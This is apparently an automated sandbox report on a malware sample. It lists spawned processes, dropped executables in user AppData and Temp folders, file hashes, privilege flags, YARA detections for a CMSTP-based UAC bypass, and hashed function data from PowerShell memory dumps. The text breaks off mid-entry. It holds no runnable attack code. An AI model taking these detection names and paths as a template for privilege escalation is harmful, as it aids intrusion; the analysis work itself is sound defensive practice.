Start time:	18:59:21
Start date:	22/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	18:59:22
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000016.00000002.2671043723.0000000003730000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	18:59:22
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	18:59:24
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe"
Imagebase:	0x400000
File size:	2'137'808 bytes
MD5 hash:	371C165E3E3C1A000051B78D7B0E7E79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	18:59:33
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe"
Imagebase:	0x400000
File size:	2'137'808 bytes
MD5 hash:	371C165E3E3C1A000051B78D7B0E7E79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	18:59:37
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	18:59:38
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	18:59:38
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe"
Imagebase:	0x400000
File size:	2'137'808 bytes
MD5 hash:	371C165E3E3C1A000051B78D7B0E7E79
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	18:59:45
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe
Imagebase:	0x140000000
File size:	2'364'728 bytes
MD5 hash:	967F4470627F823F4D7981E511C9824F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	18:59:47
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000022.00000002.2900887958.00000000054E6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	18:59:47
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	18:59:51
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000024.00000002.2900891112.00000000049D5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	18:59:51
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 07A21EF8 Relevance: 8.9, Strings: 7, Instructions: 199COMMON

Download Yara Rule

Strings

$^q, xrefs: 07A21FD5
$^q, xrefs: 07A21FF1
$^q, xrefs: 07A21FB4
$^q, xrefs: 07A22024
$^q, xrefs: 07A21FFD
$^q, xrefs: 07A21F93
$^q, xrefs: 07A22014

Memory Dump Source

Source File: 00000001.00000002.1875308357.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2464098231
Opcode ID: 5ac322770c68e9c293b2491ed3b34c5f836993c5b23048be721cafaf35d06275
Instruction ID: d4d3691e34eca073bc6befce06f0abd7d3633b02838a1d70f80b621a18678198
Opcode Fuzzy Hash: 5ac322770c68e9c293b2491ed3b34c5f836993c5b23048be721cafaf35d06275
Instruction Fuzzy Hash: 2A6127B1B04229DFCB298F6CC404B6A7BF2BF85310F15846AE6258F292DB31CD46D791

Function 07A21288 Relevance: 7.9, Strings: 6, Instructions: 357COMMON

Download Yara Rule

Strings

$^q, xrefs: 07A2150C
$^q, xrefs: 07A21518
4'^q, xrefs: 07A21533
`Bi, xrefs: 07A21656
4'^q, xrefs: 07A2153F
$^q, xrefs: 07A214B6

Memory Dump Source

Source File: 00000001.00000002.1875308357.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$`Bi$$^q$$^q$$^q
API String ID: 0-3734235974
Opcode ID: d880faf6132ccb6841ab76e7357f104c686cf59fdcfe77bc9c02a0c177e58525
Instruction ID: 668e11372c6baf7e44342b23047817bbbae8aba0d1f51b5c467dd331dad806f9
Opcode Fuzzy Hash: d880faf6132ccb6841ab76e7357f104c686cf59fdcfe77bc9c02a0c177e58525
Instruction Fuzzy Hash: AAB119B1B0431E9FCB189F6ED40466EBBF6AFC5210F14846AD426CB351EE31C946D7A2

Function 07A21780 Relevance: 7.8, Strings: 6, Instructions: 267COMMON

Download Yara Rule

Strings

,etq, xrefs: 07A219DF
$^q, xrefs: 07A21829
tP^q, xrefs: 07A21919
$^q, xrefs: 07A219A3
tP^q, xrefs: 07A2190D
$^q, xrefs: 07A21993

Memory Dump Source

Source File: 00000001.00000002.1875308357.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: ,etq$tP^q$tP^q$$^q$$^q$$^q
API String ID: 0-3120554246
Opcode ID: 073971253b35f0b30b51d1d610aa90e2beaae168e4fc223f2c373515e09eaa7a
Instruction ID: 1fd96e6e60c00b653f27d5bc92644c2392411120729c7974bb1c5a2402de82ba
Opcode Fuzzy Hash: 073971253b35f0b30b51d1d610aa90e2beaae168e4fc223f2c373515e09eaa7a
Instruction Fuzzy Hash: 6291E270B002199FCB149B6DC454A6ABBF3AFC5710F24C4AAE5118F351DE35DC46D7A2

Function 07A21ED8 Relevance: 6.4, Strings: 5, Instructions: 112COMMON

Download Yara Rule

Strings

$^q, xrefs: 07A21FD5
$^q, xrefs: 07A21FF1
$^q, xrefs: 07A21FB4
$^q, xrefs: 07A21F93
$^q, xrefs: 07A22014

Memory Dump Source

Source File: 00000001.00000002.1875308357.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q
API String ID: 0-358201761
Opcode ID: c371bb86924e32319bfb533eba71139a58d0323c33d7f41d811be9531d1540c3
Instruction ID: f89e08b5a4bb1b3e1e489c95516130fef968ccdffe431a8a4d762de3c03227c8
Opcode Fuzzy Hash: c371bb86924e32319bfb533eba71139a58d0323c33d7f41d811be9531d1540c3
Instruction Fuzzy Hash: 5741C2B1A0822ADFDB288F1DC544BA577F1BF85210F5680A7EA348B192C735CD86EB51

Function 07A21760 Relevance: 3.9, Strings: 3, Instructions: 157COMMON

Download Yara Rule

Strings

$^q, xrefs: 07A21829
tP^q, xrefs: 07A2190D
$^q, xrefs: 07A21993

Memory Dump Source

Source File: 00000001.00000002.1875308357.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$$^q$$^q
API String ID: 0-1983491577
Opcode ID: 825b9ca4c1c41132fb35938a83b9d74433929a0c2d647a6d7496df17dcc9336c
Instruction ID: cc3730157a43673f14cc0ebf7ecc9876b48ad315b3413e1f19267f866d4c1aad
Opcode Fuzzy Hash: 825b9ca4c1c41132fb35938a83b9d74433929a0c2d647a6d7496df17dcc9336c
Instruction Fuzzy Hash: 2251C2B0B00229CFCB24CF5DC584BA9BBF2AF85711F29C495E4249B251CB31DC46DB92

Function 04C69FA8 Relevance: 3.2, Strings: 2, Instructions: 669COMMON

Download Yara Rule

Strings

(Xcq, xrefs: 04C6A137
LR^q, xrefs: 04C6A055

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID: (Xcq$LR^q
API String ID: 0-2856513941
Opcode ID: 3438ffe7edf1c69b1af4f7841a7acd3ab92571f5c7a6bac8a24cd04e0dc0ce4c
Instruction ID: 638da33c377f82dd237a0b37b09acb1607a459c661237551143f086260c8321d
Opcode Fuzzy Hash: 3438ffe7edf1c69b1af4f7841a7acd3ab92571f5c7a6bac8a24cd04e0dc0ce4c
Instruction Fuzzy Hash: 26523934B002188FDB25DB68C894B6DB7B3AF85304F1284A9D84AAB395DF35ED85CF51

Function 07A20390 Relevance: 2.7, Strings: 2, Instructions: 168COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07A20433
tP^q, xrefs: 07A20427

Memory Dump Source

Source File: 00000001.00000002.1875308357.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$tP^q
API String ID: 0-309238000
Opcode ID: c0cc40f8be376ae68b3486d2ffa41aa2e487e1b2ddcad3cd4158ecb4e66fb071
Instruction ID: 7e497076d29ee176df1990e65a5bf1361cb50afaa4e10511963b675dac196e7c
Opcode Fuzzy Hash: c0cc40f8be376ae68b3486d2ffa41aa2e487e1b2ddcad3cd4158ecb4e66fb071
Instruction Fuzzy Hash: 035157B2B042259FC7249B6DD85066BFBE2AFC5210F14C46BDA59CF341CA32CD46D7A1

Function 04C6B48B Relevance: .9, Instructions: 912COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cc2200fe737da97e71b53e60672c623c56cf4a40e38918db24faafc3f7b136f
Instruction ID: 25869bfd7d58f994e59b9896f681b745c94e222a37aa6742601271923ed96fe4
Opcode Fuzzy Hash: 4cc2200fe737da97e71b53e60672c623c56cf4a40e38918db24faafc3f7b136f
Instruction Fuzzy Hash: B1520734A012199FCB15CFA8D584A9DBBB2FF88310F29C159E805AB356D735FD86CB90

Function 04C63670 Relevance: .6, Instructions: 585COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4ecd6a4c1f3a641d3f37c9c3fe87835ac23e27a18c240d5d771886d3c0ebeed
Instruction ID: d42ef9d79f0d9213ff0f099adc4dd60b5b8f01a8e12813ee27711c8d2e060700
Opcode Fuzzy Hash: e4ecd6a4c1f3a641d3f37c9c3fe87835ac23e27a18c240d5d771886d3c0ebeed
Instruction Fuzzy Hash: 6842F874A012499FDB05CF98D584A9DFBB2FF88310F29C159E805AB365C735ED86CB90

Function 04C64A98 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 254d81dff9b717819afd96f8366736ddaa2d8b0eecbfef55e3f34b2ecffb8146
Instruction ID: 619e6e4eba1c8ca8d7e65a280bad5d11194ea0d1bf6f0d73c185fb552b5cfb1d
Opcode Fuzzy Hash: 254d81dff9b717819afd96f8366736ddaa2d8b0eecbfef55e3f34b2ecffb8146
Instruction Fuzzy Hash: 6ED1E634A00218AFDB15DF98D584A9DFBB2FF88310F25C559E805AB365C731ED81CB98

Function 04C629F0 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3be47c5c6310f002b06e0790c0c7c98723b0742175e2bc8690e5373cfb727d8
Instruction ID: 9622d1b3fbfaeadbfc5efe4f6622ff6e9ab9b85848b59523841fd345d62a0313
Opcode Fuzzy Hash: f3be47c5c6310f002b06e0790c0c7c98723b0742175e2bc8690e5373cfb727d8
Instruction Fuzzy Hash: 3E917AB4A002459FCB15DF59C4D49AEFBB2FF88310B2486A9D816AB365C735FC51CBA0

Function 07A2291D Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1875308357.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5093e3377f3f220a5315c3d3fbe09fbee4c178aed2848d40b93d11ce9651d6ad
Instruction ID: f6411fcc4c7df34c5090b4858183324d55625f58c3247547299075b722abfba6
Opcode Fuzzy Hash: 5093e3377f3f220a5315c3d3fbe09fbee4c178aed2848d40b93d11ce9651d6ad
Instruction Fuzzy Hash: C9416EB17003169FDB294B7D9410376B7A2BFC1221F258469E5228F2D6DE35C946D3A2

Function 04C63C8D Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9791c293751379e38086d5e6ee1a50a8522c69b988f2e990b9a3816533672914
Instruction ID: 708ba9c11bdb2263b1c01e739d835eb0560e715e192871c529eaccc3413183ed
Opcode Fuzzy Hash: 9791c293751379e38086d5e6ee1a50a8522c69b988f2e990b9a3816533672914
Instruction Fuzzy Hash: 6A51C634A00249AFDB05CF98D584A9DFBF2BF88314F28C559E805AB365C735ED86CB90

Function 04C62B00 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10e5cfa2c3eecff24e5112ba02aee29fcffac331f9c33ee7b944e43ee8615285
Instruction ID: bc18a3b069c99a972b379236d9f2269e41c86d17c267c820876909d42184fecb
Opcode Fuzzy Hash: 10e5cfa2c3eecff24e5112ba02aee29fcffac331f9c33ee7b944e43ee8615285
Instruction Fuzzy Hash: A54127B4A005059FCB05CF58C1D89AAFBB2FF48310B258599D816AB364C736FD51CFA0

Function 07A20610 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1875308357.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaa91f31a66bd5664ab6281e5c25e18ac9603a1dcabe0fe61796cd71cae9372f
Instruction ID: ccadea2c4d9ecc13b188101b08c17c720d0067e90a0b879b349a3dead1308486
Opcode Fuzzy Hash: aaa91f31a66bd5664ab6281e5c25e18ac9603a1dcabe0fe61796cd71cae9372f
Instruction Fuzzy Hash: F9214CB17003256BD7245B6EC91473BB6D6AFC4B15F20C42AE50ACF384DDB2DC429766

Function 07A205F4 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1875308357.0000000007A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7a20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b24c2b25641f6e689921785fed10df9cd9abd298ca4179cc3e904bb433ca4f93
Instruction ID: 5492b4bba96bb26aa71bf3bfc40aae32aaad93b3348722a1e2a2ff82bc96d2b0
Opcode Fuzzy Hash: b24c2b25641f6e689921785fed10df9cd9abd298ca4179cc3e904bb433ca4f93
Instruction Fuzzy Hash: 4B2198B57043552FC7240BAE8904767BFA5AFD6720F24801AE009CF3C5E9B59D8683B7

Function 04C631C8 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ea3f1f14b5833fe4301d0e739cc12de4f3918c3998889b1a8ca852c2a967991
Instruction ID: 288e532f583e64efd2f77cee101ba3fd477d38d73b56627c00971031ee80f025
Opcode Fuzzy Hash: 0ea3f1f14b5833fe4301d0e739cc12de4f3918c3998889b1a8ca852c2a967991
Instruction Fuzzy Hash: E0217CB4A042499FCB00CF9DD8949AABBF5FF49310B148599E809EB366D335FD41CBA0

Function 04C64A89 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48005a319662e8b7ed00c9ded6c6a18f1d99dd8b41af0c8c077447a634fccaf6
Instruction ID: 870ab3de5ec3575658e1efa4cc9057562404e2e0699197f1fe473594d08078c0
Opcode Fuzzy Hash: 48005a319662e8b7ed00c9ded6c6a18f1d99dd8b41af0c8c077447a634fccaf6
Instruction Fuzzy Hash: 35210774A005059FCB04CF98C984AAEFBF1FF48310B2485A9E909EB762C731EC51CBA4

Function 04C639B0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff39c129a56155f9fa7e1d2b589962c0280cb40e41f67a360145a9a1c22f9ade
Instruction ID: ae309765956d6ef036a1665522269c0f74d83075c15173edf38ce571aa52bdd6
Opcode Fuzzy Hash: ff39c129a56155f9fa7e1d2b589962c0280cb40e41f67a360145a9a1c22f9ade
Instruction Fuzzy Hash: AE21C4B4A005199FCB04CF89C5849AAF7B5FB48310B148569E909EB365C731FD91CBA0

Function 04C631B8 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e20413e6800b1eb22e084e32a4122cb649466682b0996e11368734bfae05ea86
Instruction ID: dbc0a60053381ea7b5c958aa97b9f2cf3ba095b21e9064a85f72b8bf391e6cdd
Opcode Fuzzy Hash: e20413e6800b1eb22e084e32a4122cb649466682b0996e11368734bfae05ea86
Instruction Fuzzy Hash: 21213A78A042498FCB00DF98D9809AEBBB1FF89310B158599D909EB366C335FD41CBA1

Function 04C6AA1A Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbab04cd4ad9f4dc85cbcb1017d638edda80d117a0c9690e497e593eb73ffd41
Instruction ID: 78516a716d520078dd7a2c335bede70bc97422549af8302c50200c6419f17090
Opcode Fuzzy Hash: bbab04cd4ad9f4dc85cbcb1017d638edda80d117a0c9690e497e593eb73ffd41
Instruction Fuzzy Hash: 61118834A042088FCB05CFA8E994AADBBB2FF49314F154599E406AB362DB31AC41CF61

Function 04C63D8B Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8da619c861b83b77e682e7a14d6b9a1d5f980f02d2a52089d3c26ed0e1423b56
Instruction ID: 19b18ae1a50a010f32e7d996764559d286c239e9e449cf293241c4b4f9bdfed5
Opcode Fuzzy Hash: 8da619c861b83b77e682e7a14d6b9a1d5f980f02d2a52089d3c26ed0e1423b56
Instruction Fuzzy Hash: AA11D734A10249AFDB45CB98D484A9DFBF2BF48314F28C159E805AB365C775AD86CF90

Function 034ED006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1850321296.00000000034ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 034ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_34ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f75b00f13db3adff39fc7daf81d4eeeb068749f4c369b3d765fcecba9ee9231
Instruction ID: 3900364dcfde426143933a575d8ce31f296f06f281db03fe50dc6f3a038db75c
Opcode Fuzzy Hash: 6f75b00f13db3adff39fc7daf81d4eeeb068749f4c369b3d765fcecba9ee9231
Instruction Fuzzy Hash: A101216140D3C05ED7128B25CC94752BFB4EF43225F1D80DBD8848F2A7C2695844C772

Function 034ED01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1850321296.00000000034ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 034ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_34ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9683438b5001710598bfc4e3c1f70454ad2049564c44a7b9f98093e07fd6a60
Instruction ID: 8cbcae1f11a738a8a8e4a8e32d637537c656ffa1cf77d1956259dcd8399a4fc1
Opcode Fuzzy Hash: a9683438b5001710598bfc4e3c1f70454ad2049564c44a7b9f98093e07fd6a60
Instruction Fuzzy Hash: 4201F2318083409EE710CB2ACD84B67FF98EF4232AF0CC46BEC180E246C6799842C6B5

Function 04C65DBC Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 230c207b77492b6352673eecb70489cd943423f49ab1977ef11dec725400e74f
Instruction ID: 94d71218e84ce1eeb32cdba8664e85a9c549a3782cdcdb7bc2b2f5d17e904cc6
Opcode Fuzzy Hash: 230c207b77492b6352673eecb70489cd943423f49ab1977ef11dec725400e74f
Instruction Fuzzy Hash: 80F02474A00144AFCB04CF99D844ABEFBB5FF88314B34C49AD859A7251CA36AC53CBA0

Function 04C6AA4A Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31d4918a9746d7e8da8e70508a2a8f9ef61f11961ad67f980da39c0710148e91
Instruction ID: ca2448a1603d7c55e8972ad3eb687a634114aa7df7ad529d85e7c3827d7e1206
Opcode Fuzzy Hash: 31d4918a9746d7e8da8e70508a2a8f9ef61f11961ad67f980da39c0710148e91
Instruction Fuzzy Hash: B0E059B0E0820A9FCF48DFF991951AEFFF1EB49200B20866EE459E7310E73956118F95

Function 04C6AA58 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1851171018.0000000004C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6be51b228b8a6b5d1a3d7f2d756fe55e869e15bc761ce97906266160bc18a0f
Instruction ID: 0f4bf19037fd00be17b923fa811a7b95c67c16f15716a260b517425a1a4e42e9
